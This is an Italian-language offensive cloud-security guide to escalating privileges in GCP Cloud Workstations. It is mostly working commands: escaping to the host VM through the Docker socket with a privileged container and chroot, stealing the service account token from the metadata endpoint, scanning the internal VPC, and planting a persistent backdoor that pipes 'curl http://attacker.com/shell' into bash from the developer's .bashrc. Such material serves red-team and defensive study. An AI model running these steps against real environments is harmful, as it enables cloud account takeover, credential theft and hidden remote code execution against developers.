# GCP - Cloud Workstations Privesc


### Container Breakout via Docker Socket (Container -> VM -> Project)

Il principale percorso di escalation dei privilegi in Cloud Workstations deriva dalla necessità di supportare i workflow **Docker-in-Docker (DinD)** per gli sviluppatori. Quando la configurazione della workstation monta il Docker socket o permette privileged containers (configurazione comune), un attaccante all'interno del container della workstation può escape alla Compute Engine VM sottostante e rubare il service account token.

**Prerequisiti:**
- Accesso a un terminale di Cloud Workstation (via SSH, sessione compromessa o credenziali rubate)
- La configurazione della workstation deve montare `/var/run/docker.sock` o abilitare privileged containers

**Contesto architetturale:** La workstation è un container (Layer 3) in esecuzione su un runtime Docker/Containerd (Layer 2) su una GCE VM (Layer 1). Il Docker socket dà accesso diretto al container runtime dell'host.

> [!NOTE]
> Lo strumento [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatizza l'intero container escape e ti apre una root shell sulla host VM.

<details>

<summary>Passo 1: Controlla la presenza del Docker socket</summary>
```bash
# Verify the Docker socket is available
ls -l /var/run/docker.sock
# Expected output: srw-rw---- 1 root docker 0 ...
```
</details>

<details>

<summary>Passo 2: Escape al filesystem della VM host</summary>

Avviamo un container privilegiato, montando la directory root dell'host su `/mnt/host`. Condividiamo inoltre la rete dell'host e il PID namespace per massimizzare la visibilità.
```bash
# Spawn a privileged container mounting the host's root filesystem
docker run -it --rm --privileged --net=host --pid=host \
-v /:/mnt/host \
alpine sh

# Inside the new container, chroot into the host
chroot /mnt/host /bin/bash
```
Ora hai una **root shell sulla Compute Engine VM sottostante** (Layer 1).

</details>

<details>

<summary>Passo 3: Rubare il token del service account della VM da IMDS</summary>
```bash
# From the host VM, query the Instance Metadata Service
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token

# Check which service account is attached
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email

# Check scopes (CRITICAL STEP)
curl -s -H "Metadata-Flavor: Google" \
http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scopes
```
</details>

> [!CAUTION]
> **Controlla gli Scopes!**
> Anche se il Service Account allegato è **Editor**, la VM potrebbe essere limitata dagli access scopes.
> Se vedi `https://www.googleapis.com/auth/cloud-platform`, hai accesso completo.
> Se vedi solo `logging.write` e `monitoring.write`, sei limitato ai vettori **Network Pivot** e **Persistence** qui sotto.

<details>

<summary>Passo 4: Achieve Persistence (Backdoor the User)</summary>

Cloud Workstations montano un disco persistente in `/home/user`. Poiché l'utente del container (di solito `user`, UID 1000) corrisponde all'utente dell'host (UID 1000), puoi scrivere nella home directory dell'host. Questo ti permette di backdoor the environment anche se il workstation container viene ricostruito.
```bash
# Check if you can write to the host's persistent home
ls -la /mnt/host/home/user/

# Drop a backdoor that executes next time the developer logs in
# Note: Do this from the container escape context
echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
```
</details>

<details>

<summary>Passo 5: Network Pivot (Internal VPC Access)</summary>

Poiché condividi il network namespace dell'host (`--net=host`), ora sei un nodo attendibile nella VPC. Puoi scansionare i servizi interni che consentono l'accesso tramite IP whitelisting.
```bash
# Install scanning tools on the host (if internet access allows)
apk add nmap

# Scan the internal VPC subnet
nmap -sS -p 80,443,22 10.0.0.0/8
```
</details>
